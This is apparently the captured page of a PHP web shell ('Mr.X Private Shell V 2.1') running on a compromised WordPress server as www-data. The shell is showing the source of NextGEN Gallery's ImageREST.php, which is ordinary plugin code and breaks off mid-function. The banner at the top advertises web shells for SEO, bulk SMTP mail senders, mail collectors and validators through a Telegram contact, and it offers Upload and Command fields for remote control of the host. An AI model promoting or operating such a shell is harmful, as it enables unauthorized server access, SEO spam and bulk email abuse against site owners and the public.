__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
/**
 * REST API endpoints for NextGEN Gallery images.
 *
 * @package Imagely\NGG\REST\DataMappers
 */

namespace Imagely\NGG\REST\DataMappers;

use WP_REST_Request;
use WP_REST_Response;
use WP_Error;
use Imagely\NGG\DataMappers\Image as ImageMapper;
use Imagely\NGG\DataTypes\Image;
use Imagely\NGG\Util\Security;

/**
 * Class ImageREST
 * Handles REST API endpoints for NextGEN Gallery images.
 *
 * @package Imagely\NGG\REST\DataMappers
 */
class ImageREST {
	/**
	 * Register the REST API routes for images
	 */
	public static function register_routes() {
		register_rest_route(
			'imagely/v1',
			'/images',
			[
				'methods'             => 'GET',
				'callback'            => [ self::class, 'get_images' ],
				'permission_callback' => [ self::class, 'check_read_permission' ],
				'args'                => [
					'gallery_id' => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'per_page'   => [
						'type'              => 'integer',
						'default'           => 100,
						'sanitize_callback' => function( $value ) {
							// Allow -1 for "all images", otherwise ensure minimum of 1
							$int_value = (int) $value;
							if ( $int_value < 0 ) {
								return -1; // Normalize to -1 for "all"
							}
							return max( 1, $int_value );
						},
					],
					'page'       => [
						'type'              => 'integer',
						'default'           => 1,
						'sanitize_callback' => 'absint',
					],
					'orderby'    => [
						'type'              => 'string',
						'enum'              => [ 'sortorder', 'pid', 'filename', 'imagedate' ],
						'default'           => 'sortorder',
						'sanitize_callback' => 'sanitize_text_field',
					],
					'order'      => [
						'type'              => 'string',
						'enum'              => [ 'ASC', 'DESC' ],
						'default'           => 'ASC',
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);

		// Get a single image.
		register_rest_route(
			'imagely/v1',
			'/images/(?P<id>\d+)',
			[
				'methods'             => 'GET',
				'callback'            => [ self::class, 'get_image' ],
				'permission_callback' => [ self::class, 'check_read_permission' ],
				'args'                => [
					'id' => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
				],
			]
		);

		// Update an image.
		register_rest_route(
			'imagely/v1',
			'/images/(?P<id>\d+)',
			[
				'methods'             => 'PUT',
				'callback'            => [ self::class, 'update_image' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'id'          => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'alttext'     => [
						'type'              => 'string',
						'sanitize_callback' => 'sanitize_text_field',
					],
					'description' => [
						'type'              => 'string',
						'sanitize_callback' => 'wp_kses_post',
					],
					'exclude'     => [
						'type' => 'boolean',
					],
					'image_slug'  => [
						'type'              => 'string',
						'sanitize_callback' => 'sanitize_title',
					],
					'sortorder'   => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'tags'        => [
						'type'              => 'string',
						'sanitize_callback' => 'sanitize_text_field',
					],
					'pricelist_id' => [
						'type'              => 'integer',
						'sanitize_callback' => function( $value ) {
							// Allow -1 for "not for sale", 0 for "use gallery pricelist", positive integers for actual pricelists
							$int_value = (int) $value;
							return ( $int_value === -1 || $int_value >= 0 ) ? $int_value : 0;
						},
						'description'       => 'Pricelist ID for ecommerce functionality',
					],
				],
			]
		);

		// Delete an image.
		register_rest_route(
			'imagely/v1',
			'/images/(?P<id>\d+)',
			[
				'methods'             => 'DELETE',
				'callback'            => [ self::class, 'delete_image' ],
				'permission_callback' => [ self::class, 'check_delete_permission' ],
				'args'                => [
					'id' => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
				],
			]
		);

		// Bulk update images.
		register_rest_route(
			'imagely/v1',
			'/images/bulk',
			[
				'methods'             => 'PUT',
				'callback'            => [ self::class, 'bulk_update_images' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'images' => [
						'required' => true,
						'type'     => 'array',
						'items'    => [
							'type'       => 'object',
							'properties' => [
								'id'          => [
									'required' => true,
									'type'     => 'integer',
								],
								'alttext'     => [
									'type' => 'string',
								],
								'description' => [
									'type' => 'string',
								],
								'exclude'     => [
									'type' => 'boolean',
								],
								'image_slug'  => [
									'type' => 'string',
								],
								'sortorder'   => [
									'type' => 'integer',
								],
								'tags'        => [
									'type' => 'string',
								],
								'pricelist_id' => [
									'type' => 'integer',
									'description' => 'Pricelist ID for ecommerce functionality',
								],
							],
						],
					],
				],
			]
		);

		// Import images from the media library.
		register_rest_route(
			'imagely/v1',
			'/images/import-media-library',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'import_media_library' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'gallery_id'     => [
						'type'              => 'integer',
						'required'          => false,
						'sanitize_callback' => 'absint',
					],
					'gallery_name'   => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
					'attachment_ids' => [
						'type'     => 'array',
						'items'    => [ 'type' => 'integer' ],
						'required' => true,
					],
				],
			]
		);

		// Upload an image to a gallery (single image or zip).
		register_rest_route(
			'imagely/v1',
			'/images/upload',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'upload_image' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'gallery_id'   => [
						'type'              => 'integer',
						'required'          => false,
						'sanitize_callback' => 'absint',
					],
					'gallery_name' => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);

		// Browse a folder for import.
		register_rest_route(
			'imagely/v1',
			'/folders/browse',
			[
				'methods'             => 'GET',
				'callback'            => [ self::class, 'browse_folder' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'dir' => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);

		// Import a folder as a gallery.
		register_rest_route(
			'imagely/v1',
			'/folders/import',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'import_folder' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'folder'        => [
						'type'              => 'string',
						'required'          => true,
						'sanitize_callback' => 'sanitize_text_field',
					],
					'keep_location' => [
						'type'     => 'boolean',
						'required' => false,
					],
					'gallery_title' => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);
	}

	/**
	 * Check if user has permission to read images
	 *
	 * @return bool
	 */
	public static function check_read_permission() {
		return Security::is_allowed( 'NextGEN Gallery overview' );
	}

	/**
	 * Check if user has permission to edit images
	 *
	 * @return bool
	 */
	public static function check_edit_permission() {
		return Security::is_allowed( 'NextGEN Manage gallery' );
	}

	/**
	 * Check if user has permission to delete images
	 *
	 * @return bool
	 */
	public static function check_delete_permission() {
		return Security::is_allowed( 'NextGEN Manage gallery' );
	}

	/**
	 * Get all images with optional filtering and pagination.
	 *
	 * @param WP_REST_Request $request The request object containing gallery_id, per_page, page, orderby, order parameters.
	 * @return WP_REST_Response
	 */
	public static function get_images( WP_REST_Request $request ) {
		global $wpdb;
		$gallery_id = $request->get_param( 'gallery_id' );

		// Get pagination parameters
		$per_page_param = (int) $request->get_param( 'per_page' );
		// Normalize all negative values to -1 (treated as "all") for consistency
		if ( $per_page_param < 0 ) {
			$per_page_param = -1;
		}
		// Handle -1 as "all" (WordPress standard for unlimited pagination)
		$per_page = ( -1 === $per_page_param ) ? PHP_INT_MAX : $per_page_param;
		$page     = max( 1, (int) $request->get_param( 'page' ) );
		$offset   = ( $page - 1 ) * $per_page;

		// Get ordering parameters
		$orderby = $request->get_param( 'orderby' ) ?? 'sortorder';
		$order   = strtoupper( $request->get_param( 'order' ) ?? 'ASC' );

		$mapper = ImageMapper::get_instance();
		$query  = $mapper->select();

		if ( $gallery_id ) {
			$query->where( [ 'galleryid = %d', $gallery_id ] );
		}

		// Calculate total items for pagination
		$count_query = $mapper->select();
		if ( $gallery_id ) {
			$count_query->where( [ 'galleryid = %d', $gallery_id ] );
		}
		$total_items = count( $count_query->run_query( false, false, true ) );

		// Add ordering and pagination
		$query->order_by( $orderby, $order );
		if ( -1 !== $per_page_param ) {
			$query->limit( $per_page, $offset );
		}

		$images      = $query->run_query();
		$images_data = array_map( [ self::class, 'prepare_image_for_response' ], $images );

		$response = new WP_REST_Response( $images_data );

		// Add pagination headers
		if ( -1 !== $per_page_param ) {
			$total_pages = ceil( $total_items / $per_page );
			$response->header( 'X-WP-Total', $total_items );
			$response->header( 'X-WP-TotalPages', $total_pages );
		} else {
			// When returning all items, set total pages to 1
			$response->header( 'X-WP-Total', $total_items );
			$response->header( 'X-WP-TotalPages', 1 );
		}

		return $response;
	}

	/**
	 * Get a single image by ID.
	 *
	 * @param WP_REST_Request $request The request object containing the image ID.
	 * @return WP_REST_Response|WP_Error
	 */
	public static function get_image( WP_REST_Request $request ) {
		$image_id = $request->get_param( 'id' );
		$mapper   = ImageMapper::get_instance();
		$image    = $mapper->find( $image_id );

		if ( ! $image ) {
			return new WP_Error( 'not_found', __( 'Image not found', 'nggallery' ), [ 'status' => 404 ] );
		}

		return new WP_REST_Response( self::prepare_image_for_response( $image ) );
	}

	/**
	 * Update an image.
	 *
	 * @param WP_REST_Request $request The request object containing image data to update.
	 * @return WP_REST_Response|WP_Error
	 */
	public static function update_image( WP_REST_Request $request ) {
		$image_id = $request->get_param( 'id' );
		$mapper   = ImageMapper::get_instance();
		$image    = $mapper->find( $image_id );

		if ( ! $image ) {
			return new WP_Error( 'not_found', __( 'Image not found', 'nggallery' ), [ 'status' => 404 ] );
		}

		$fields = [ 'alttext', 'description', 'exclude', 'image_slug', 'sortorder', 'pricelist_id' ];
		foreach ( $fields as $field ) {
			if ( $request->has_param( $field ) ) {
				$value = $request->get_param( $field );
				if ( 'exclude' === $field ) {
					$value = $value ? 1 : 0;
				}
				$image->$field = $value;
			}
		}

		try {
			$mapper->save( $image );

			// Handle tags separately using WordPress taxonomy functions
			if ( $request->has_param( 'tags' ) ) {
				$tags = $request->get_param( 'tags' );
				if ( ! is_string( $tags ) ) {
					return new WP_Error( 'invalid_tags', __( 'Tags must be a string', 'nggallery' ), [ 'status' => 400 ] );
				}
				$tags = array_filter(
					array_map( 'trim', explode( ',', $tags ) ),
					function ( $tag ) {
						return ! empty( $tag );
					}
				);
				$tags = array_values( array_unique( $tags ) );
				wp_set_object_terms( $image->pid, $tags, 'ngg_tag' );
			}

			// Reload image from database to get fresh data
			$fresh_image = $mapper->find( $image_id );

			return new WP_REST_Response( self::prepare_image_for_response( $fresh_image ) );
		} catch ( \Exception $e ) {
			return new WP_Error( 'update_failed', $e->getMessage(), [ 'status' => 500 ] );
		}
	}

	/**
	 * Delete an image.
	 *
	 * @param WP_REST_Request $request The request object containing the image ID to delete.
	 * @return WP_REST_Response|WP_Error
	 */
	public static function delete_image( WP_REST_Request $request ) {
		global $wpdb;
		$image_id = $request->get_param( 'id' );
		$mapper   = ImageMapper::get_instance();
		$image    = $mapper->find( $image_id );

		if ( ! $image ) {
			return new WP_Error( 'not_found', __( 'Image not found', 'nggallery' ), [ 'status' => 404 ] );
		}

		// Get the gallery ID before deletion
		$gallery_id = $image->galleryid;

		try {
			// Fire the action hook for other plugins to respond to image deletion
			// This must be called BEFORE any deletion so that listening plugins can access the database record
			do_action( 'ngg_delete_picture', $image_id, $image );

			// Check if we should delete image files from filesystem
			$settings = \Imagely\NGG\Settings\Settings::get_instance();
			$storage  = \Imagely\NGG\DataStorage\Manager::get_instance();

			if ( $settings->get( 'deleteImg' ) ) {
				// Delete image files from filesystem and database
				$delete_success = $storage->delete_image( $image );
				if ( ! $delete_success ) {
					return new WP_Error(
						'delete_files_failed',
						__( 'Could not delete image file(s) from disk', 'nggallery' ),
						[ 'status' => 500 ]
					);
				}
			} else {
				// Only remove from database, keep files on disk
				$mapper->destroy( $image );
			}

			// Check if the deleted image was the gallery's preview image
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery
			$gallery_preview = $wpdb->get_var(
				$wpdb->prepare(
					"SELECT previewpic FROM {$wpdb->nggallery} WHERE gid = %d AND previewpic = %d",
					$gallery_id,
					$image_id
				)
			);

			// If this was the preview image, update the gallery to use the first available image
			if ( $gallery_preview ) {
				// phpcs:ignore WordPress.DB.DirectDatabaseQuery
				$first_image_id = $wpdb->get_var(
					$wpdb->prepare(
						"SELECT pid FROM {$wpdb->nggpictures} WHERE galleryid = %d ORDER BY sortorder ASC, pid ASC LIMIT 1",
						$gallery_id
					)
				);

				// Update the gallery's previewpic field
				// phpcs:ignore WordPress.DB.DirectDatabaseQuery
				$wpdb->update(
					$wpdb->nggallery,
					[ 'previewpic' => $first_image_id ? (int) $first_image_id : 0 ],
					[ 'gid' => $gallery_id ],
					[ '%d' ],
					[ '%d' ]
				);
			}

			return new WP_REST_Response(
				[
					'message' => __( 'Image deleted successfully', 'nggallery' ),
					'deleted' => true,
					'id'      => $image_id,
					'files_deleted' => (bool) $settings->get( 'deleteImg' ),
				]
			);
		} catch ( \Exception $e ) {
			return new WP_Error( 'delete_failed', $e->getMessage(), [ 'status' => 500 ] );
		}
	}

	/**
	 * Bulk update images.
	 *
	 * @param WP_REST_Request $request The request object containing an array of image data to update.
	 * @return WP_REST_Response
	 */
	public static function bulk_update_images( WP_REST_Request $request ) {
		$images_data = $request->get_param( 'images' );
		$mapper      = ImageMapper::get_instance();
		$updated     = [];
		$errors      = [];

		foreach ( $images_data as $image_data ) {
			$image = $mapper->find( $image_data['id'] );
			if ( ! $image ) {
				// translators: %d is the image ID.
				$errors[] = sprintf( __( 'Image with ID %d not found', 'nggallery' ), $image_data['id'] );
				continue;
			}

			$fields = [ 'alttext', 'description', 'exclude', 'image_slug', 'sortorder', 'pricelist_id' ];
			foreach ( $fields as $field ) {
				if ( isset( $image_data[ $field ] ) ) {
					$value = $image_data[ $field ];
					if ( 'exclude' === $field ) {
						$value = $value ? 1 : 0;
					}
					$image->$field = $value;
				}
			}

			try {
				$mapper->save( $image );

				// Handle tags separately using WordPress taxonomy functions
				if ( isset( $image_data['tags'] ) ) {
					$tags = $image_data['tags'];
					if ( is_string( $tags ) ) {
						$tags = array_filter(
							array_map( 'trim', explode( ',', $tags ) ),
							function ( $tag ) {
								return ! empty( $tag );
							}
						);
						$tags = array_values( array_unique( $tags ) );
					}
					wp_set_object_terms( $image->pid, $tags, 'ngg_tag' );
				}

				$updated[] = self::prepare_image_for_response( $image );
			} catch ( \Exception $e ) {
				$errors[] = sprintf(
					// translators: %1$d is the image ID, %2$s is the error message.
					__( 'Failed to update image %1$d: %2$s', 'nggallery' ),
					$image_data['id'],
					$e->getMessage()
				);
			}
		}

		return new WP_REST_Response(
			[
				'updated' => $updated,
				'errors'  => $errors,
				'message' => sprintf(
					// translators: %1$d is the number of updated images, %2$d is the number of errors.
					__( 'Updated %1$d images with %2$d errors', 'nggallery' ),
					count( $updated ),
					count( $errors )
				),
			],
			count( $errors ) > 0 ? 207 : 200
		);
	}

	/**
	 * Import images from the WordPress media library into a NextGEN gallery.
	 *
	 * @param WP_REST_Request $request The request object containing gallery_id, gallery_name, and attachment_ids parameters.
	 * @return WP_REST_Response
	 */
	public static function import_media_library( WP_REST_Request $request ) {
		// Image imports can require significant memory for decoding/resizing.
		// In REST requests, WordPress may still be running at WP_MEMORY_LIMIT (often low).
		if ( function_exists( 'wp_raise_memory_limit' ) ) {
			\wp_raise_memory_limit( 'image' );
		}

		$retval          = [];
		$created_gallery = false;
		$gallery_id      = (int) $request->get_param( 'gallery_id' );
		$gallery_name    = $request->get_param( 'gallery_name' );
		$attachment_ids  = $request->get_param( 'attachment_ids' );

		$gallery_mapper = \Imagely\NGG\DataMappers\Gallery::get_instance();
		$image_mapper   = \Imagely\NGG\DataMappers\Image::get_instance();

		if ( empty( $attachment_ids ) || ! is_array( $attachment_ids ) ) {
			return new WP_REST_Response(
				[
					'error' => __( 'An unexpected error occurred.', 'nggallery' ),
				],
				400
			);
		}

		if ( 0 === $gallery_id ) {
			if ( ! empty( $gallery_name ) ) {
				$gallery = $gallery_mapper->create( [ 'title' => $gallery_name ] );
				if ( ! $gallery->save() ) {
					return new WP_REST_Response(
						[
							'error' => $gallery->validate(),
						],
						400
					);
				} else {
					$created_gallery = true;
					$gallery_id      = $gallery->id();
				}
			} else {
				return new WP_REST_Response(
					[
						'error' => __( 'No gallery name specified', 'nggallery' ),
					],
					400
				);
			}
		}

		$retval['gallery_id'] = $gallery_id;
		$storage              = \Imagely\NGG\DataStorage\Manager::get_instance();
		$retval['image_ids']  = [];

		foreach ( $attachment_ids as $id ) {
			try {
				$abspath   = get_attached_file( $id );
				$file_data = file_get_contents( $abspath );

				if ( empty( $file_data ) ) {
					return new WP_REST_Response(
						[
							'error' => __( 'Image generation failed', 'nggallery' ),
						],
						500
					);
				}
				$file_name  = \Imagely\NGG\Display\I18N::mb_basename( $abspath );
				$attachment = get_post( $id );
				$image      = $storage->upload_image( $gallery_id, $file_name, $file_data );

				if ( $image ) {
					// Potentially import metadata from WordPress.
					$image = $image_mapper->find( $image );
					if ( ! empty( $attachment->post_excerpt ) ) {
						$image->alttext = $attachment->post_excerpt;
					}
					if ( ! empty( $attachment->post_content ) ) {
						$image->description = $attachment->post_content;
					}

					$image = apply_filters( 'ngg_medialibrary_imported_image', $image, $attachment );
					$image_mapper->save( $image );
					$retval['image_ids'][] = $image->{$image->id_field};
				} else {
					return new WP_REST_Response(
						[
							'error' => __( 'Image generation failed', 'nggallery' ),
						],
						500
					);
				}
			} catch ( \RuntimeException $ex ) {
				if ( $created_gallery ) {
					$gallery_mapper->destroy( $gallery_id );
				}
				return new WP_REST_Response(
					[
						'error' => $ex->getMessage(),
					],
					500
				);
			} catch ( \Exception $ex ) {
				return new WP_REST_Response(
					[
						'error'         => __( 'An unexpected error occurred.', 'nggallery' ),
						'error_details' => $ex->getMessage(),
					],
					500
				);
			}
		}

		// If images were imported successfully, set the first one as preview if gallery has no preview
		if ( ! empty( $retval['image_ids'] ) ) {
			self::set_gallery_preview_if_empty( $gallery_id, $retval['image_ids'][0] );
		}

		$retval['gallery_name'] = esc_html( $gallery_name );
		return new WP_REST_Response( $retval );
	}

	/**
	 * Upload an image or zip file to a gallery.
	 *
	 * @param WP_REST_Request $request The request object containing gallery_id, gallery_name, and file parameters.
	 * @return WP_REST_Response
	 */
	public static function upload_image( WP_REST_Request $request ) {
		// Image uploads can require significant memory for decoding/resizing.
		// In REST requests, WordPress may still be running at WP_MEMORY_LIMIT (often low).
		if ( function_exists( 'wp_raise_memory_limit' ) ) {
			\wp_raise_memory_limit( 'image' );
		}

		$created_gallery = false;
		$gallery_id      = (int) $request->get_param( 'gallery_id' );
		$gallery_name    = $request->get_param( 'gallery_name' );
		$gallery_mapper  = \Imagely\NGG\DataMappers\Gallery::get_instance();
		$retval          = [ 'gallery_name' => esc_html( $gallery_name ) ];

		if ( ! class_exists( 'DOMDocument' ) ) {
			$retval['error'] = __( 'Please ask your hosting provider or system administrator to enable the PHP XML module which is required for image uploads', 'nggallery' );
			return new WP_REST_Response( $retval, 500 );
		}

		if ( 0 === $gallery_id ) {
			if ( ! empty( $gallery_name ) ) {
				$gallery = $gallery_mapper->create( [ 'title' => $gallery_name ] );
				if ( ! $gallery->save() ) {
					$retval['error'] = $gallery->validate();
					return new WP_REST_Response( $retval, 400 );
				} else {
					$created_gallery = true;
					$gallery_id      = $gallery->id();
				}
			} else {
				$retval['error'] = __( 'No gallery name specified', 'nggallery' );
				return new WP_REST_Response( $retval, 400 );
			}
		}

		$retval['gallery_id'] = $gallery_id;
		$settings             = \Imagely\NGG\Settings\Settings::get_instance();
		$storage              = \Imagely\NGG\DataStorage\Manager::get_instance();

		try {
			// Pass true to skip nonce check since REST API has its own authentication
			if ( $storage->is_zip( true ) ) {
				$results = $storage->upload_zip( $gallery_id, true );
				if ( $results ) {
					$retval = $results;
					// If ZIP uploaded successfully and has images, set preview if empty
					if ( ! empty( $results['image_ids'] ) && is_array( $results['image_ids'] ) ) {
						self::set_gallery_preview_if_empty( $gallery_id, $results['image_ids'][0] );
					}
				} else {
					$retval['error'] = __( 'Failed to extract images from ZIP', 'nggallery' );
				}
				// phpcs:ignore WordPress.Security.NonceVerification.Missing
			} elseif ( isset( $_FILES['file'] ) ) {
				$image_id = $storage->upload_image( $gallery_id );
				if ( $image_id ) {
					$retval['image_ids'] = [ $image_id ];
					// check if image was resized correctly.
					if ( $settings->get( 'imgAutoResize' ) ) {
						$image_path  = $storage->get_full_abspath( $image_id );
						$image_thumb = new \Imagely\NGG\DataTypes\LegacyThumbnail( $image_path, true );
						if ( $image_thumb->error ) {
							// translators: %s is the error message.
							$retval['error'] = sprintf( __( 'Automatic image resizing failed [%1$s].', 'nggallery' ), $image_thumb->errmsg );
						}
					}
					// check if thumb was generated correctly.
					$thumb_path = $storage->get_image_abspath( $image_id, 'thumb' );
					if ( ! file_exists( $thumb_path ) ) {
						$retval['error'] = __( 'Thumbnail generation failed.', 'nggallery' );
					}

					// If gallery has no preview image, set this as the preview
					self::set_gallery_preview_if_empty( $gallery_id, $image_id );
				} else {
					$retval['error'] = __( 'Image generation failed', 'nggallery' );
				}
			} else {
				$retval['error'] = __( 'No file uploaded', 'nggallery' );
			}
		} catch ( \RuntimeException $ex ) {
			$retval['error'] = $ex->getMessage();
			if ( $created_gallery ) {
				$gallery_mapper->destroy( $gallery_id );
			}
		} catch ( \Exception $ex ) {
			// translators: %s is the error message.
			$retval['error'] = sprintf( __( 'An unexpected error occurred: %s', 'nggallery' ), $ex->getMessage() );
		}

		$status = ! empty( $retval['error'] ) ? 500 : 200;
		return new WP_REST_Response( $retval, $status );
	}

	/**
	 * Browse a folder for import.
	 *
	 * @param WP_REST_Request $request The request object containing dir parameter.
	 * @return WP_REST_Response
	 */
	public static function browse_folder( WP_REST_Request $request ) {
		$retval       = [];
				$dir  = $request->get_param( 'dir' );
				$root = is_multisite()
			? \Imagely\NGG\DataStorage\Manager::get_instance()->get_upload_abspath()
			: NGG_IMPORT_ROOT;
		$root         = str_replace( '/', DIRECTORY_SEPARATOR, $root );
		$root         = untrailingslashit( $root );
		$browse_path  = $root;
		if ( ! empty( $dir ) ) {
			$browse_path = $root . DIRECTORY_SEPARATOR . ltrim( $dir, DIRECTORY_SEPARATOR );
		}

		// Use WP_Filesystem for directory listing.
		global $wp_filesystem;
		if ( ! $wp_filesystem ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
			WP_Filesystem();
		}
		if ( ! $wp_filesystem ) {
			$retval['error'] = __( 'Could not initialize WordPress filesystem API.', 'nggallery' );
			return new WP_REST_Response( $retval, 500 );
		}

		if ( ! $wp_filesystem->exists( $browse_path ) ) {
				$retval['error'] = __( 'Directory does not exist.', 'nggallery' );
			return new WP_REST_Response( $retval, 404 );
		}

		// Security: ensure path is within root.
		if ( false === strpos( realpath( $browse_path ), realpath( $root ) ) ) {
			$retval['error'] = __( 'No permissions to browse folders. Try refreshing the page or ensuring that your user account has sufficient roles/privileges.', 'nggallery' );
				return new WP_REST_Response( $retval, 403 );
		}

		$dirlist = $wp_filesystem->dirlist( $browse_path );
		if ( ! is_array( $dirlist ) ) {
			$retval['error'] = __( 'Could not list directory contents.', 'nggallery' );
			return new WP_REST_Response( $retval, 500 );
		}

		$is_wp_content_path = untrailingslashit( WP_CONTENT_DIR ) === untrailingslashit( $browse_path );
		$is_wp_content_path = apply_filters( 'imagely_is_wp_content_path', $is_wp_content_path );

		$directories = [];
		foreach ( $dirlist as $name => $info ) {
			if ( 'd' !== $info['type'] ) {
				continue;
			}

			if ( $is_wp_content_path && in_array( $info['name'], [ 'plugins', 'upgrade', 'themes' ], true ) ) {
				continue;
			}

			$rel_file_path = ltrim( str_replace( $root, '', $browse_path . DIRECTORY_SEPARATOR . $name ), DIRECTORY_SEPARATOR );
			$directories[] = [
				'name'          => $name,
				'relative_path' => $rel_file_path . DIRECTORY_SEPARATOR,
			];
		}
		$retval['directories'] = $directories;
		return new WP_REST_Response( $retval, 200 );
	}

	/**
	 * Import a folder as a gallery.
	 *
	 * @param WP_REST_Request $request The request object containing folder, keep_location, and gallery_title parameters.
	 * @return WP_REST_Response
	 */
	public static function import_folder( WP_REST_Request $request ) {
		$retval        = [];
		$folder        = stripslashes( $request->get_param( 'folder' ) );
		$keep_location = $request->get_param( 'keep_location' ) === true || $request->get_param( 'keep_location' ) === 'on';
		$gallery_title = $request->get_param( 'gallery_title', null );

		if ( empty( $gallery_title ) ) {
			$gallery_title = null;
		}

		$root        = is_multisite()
			? \Imagely\NGG\DataStorage\Manager::get_instance()->get_upload_abspath()
			: NGG_IMPORT_ROOT;
		$root        = str_replace( '/', DIRECTORY_SEPARATOR, $root );
		$root        = untrailingslashit( $root );
		$import_path = str_replace( '//', DIRECTORY_SEPARATOR, path_join( $root, $folder ) );

		// First check if the path exists and is accessible.
		if ( ! file_exists( $import_path ) ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The folder "%s" does not exist.', 'nggallery' ),
						$folder
					),
				],
				404
			);
		}

		if ( ! is_dir( $import_path ) ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The path "%s" is not a directory.', 'nggallery' ),
						$folder
					),
				],
				400
			);
		}

		if ( ! is_readable( $import_path ) ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The folder "%s" is not readable. Please check permissions.', 'nggallery' ),
						$folder
					),
				],
				403
			);
		}

		// Check if the folder is within the allowed root path.
		if ( strpos( realpath( $import_path ), realpath( $root ) ) === false ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The folder "%s" is outside of the allowed import root path.', 'nggallery' ),
						$folder
					),
				],
				403
			);
		}

		$storage = \Imagely\NGG\DataStorage\Manager::get_instance();

		try {
			$retval = $storage->import_gallery_from_fs(
				$import_path,
				false,
				! $keep_location,
				$gallery_title
			);

			if ( ! $retval ) {
				return new WP_REST_Response(
					[
						'error' => sprintf(
							// translators: %s is the folder path.
							__( 'No images were found in the folder "%s". Please ensure the folder contains supported image files (JPEG, PNG, GIF).', 'nggallery' ),
							$folder
						),
					],
					400
				);
			}

			// If folder imported successfully with images, set the first one as preview if gallery has no preview
			if ( ! empty( $retval['gallery_id'] ) && ! empty( $retval['image_ids'] ) ) {
				self::set_gallery_preview_if_empty( $retval['gallery_id'], $retval['image_ids'][0] );
			}
		} catch ( \Exception $ex ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %1$s is the folder path, %2$s is the error message.
						__( 'Failed to import folder "%1$s": %2$s', 'nggallery' ),
						$folder,
						$ex->getMessage()
					),
				],
				500
			);
		}

		return new WP_REST_Response( $retval, 200 );
	}

	/**
	 * Prepare image data for API response.
	 *
	 * @param Image $image The image object to prepare for response.
	 * @return array
	 */
	private static function prepare_image_for_response( $image ) {
		$tags = wp_get_object_terms( $image->pid, 'ngg_tag', [ 'fields' => 'names' ] );

		// Enhance meta_data with live EXIF data if missing critical fields like Orientation
		$meta_data = $image->meta_data;
		if ( ! is_array( $meta_data ) ) {
			$meta_data = [];
		}

		// If Orientation is missing from stored metadata, try to get it from live EXIF
		if ( ! isset( $meta_data['Orientation'] ) || empty( $meta_data['Orientation'] ) ) {
			require_once NGGALLERY_ABSPATH . '/lib/meta.php';
			$meta = new \nggMeta( $image );
			if ( $orientation = $meta->get_EXIF( 'Orientation' ) ) {
				$meta_data['Orientation'] = $orientation;
			}
		}

		// Get properly formatted image URLs using the storage manager
		$storage   = \Imagely\NGG\DataStorage\Manager::get_instance();
		$thumb_url = $storage->get_image_url( $image, 'thumb' );
		$image_url = $storage->get_image_url( $image, 'full' );

		return [
			'pid'            => $image->pid,
			'filename'       => $image->filename,
			'description'    => $image->description,
			'alttext'        => $image->alttext,
			'image_slug'     => $image->image_slug,
			'galleryid'      => $image->galleryid,
			'meta_data'      => $meta_data,
			'post_id'        => $image->post_id,
			'imagedate'      => $image->imagedate,
			'exclude'        => (bool) $image->exclude,
			'sortorder'      => (int) $image->sortorder,
			'tags'           => is_array( $tags ) ? $tags : [],
			'updated_at'     => $image->updated_at,
			'extras_post_id' => $image->extras_post_id,
			'pricelist_id'   => isset( $image->pricelist_id ) ? (int) $image->pricelist_id : 0,
			'thumb_url'      => $thumb_url ?? '',
			'image_url'      => $image_url ?? '',
		];
	}

	/**
	 * Set the gallery's preview image if it doesn't have one.
	 *
	 * @param int $gallery_id The gallery ID.
	 * @param int $image_id The image ID to set as preview.
	 * @return void
	 */
	private static function set_gallery_preview_if_empty( $gallery_id, $image_id ) {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery
		$current_preview = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT previewpic FROM {$wpdb->nggallery} WHERE gid = %d",
				$gallery_id
			)
		);

		// Only set if gallery has no preview image (0 or empty)
		if ( empty( $current_preview ) ) {
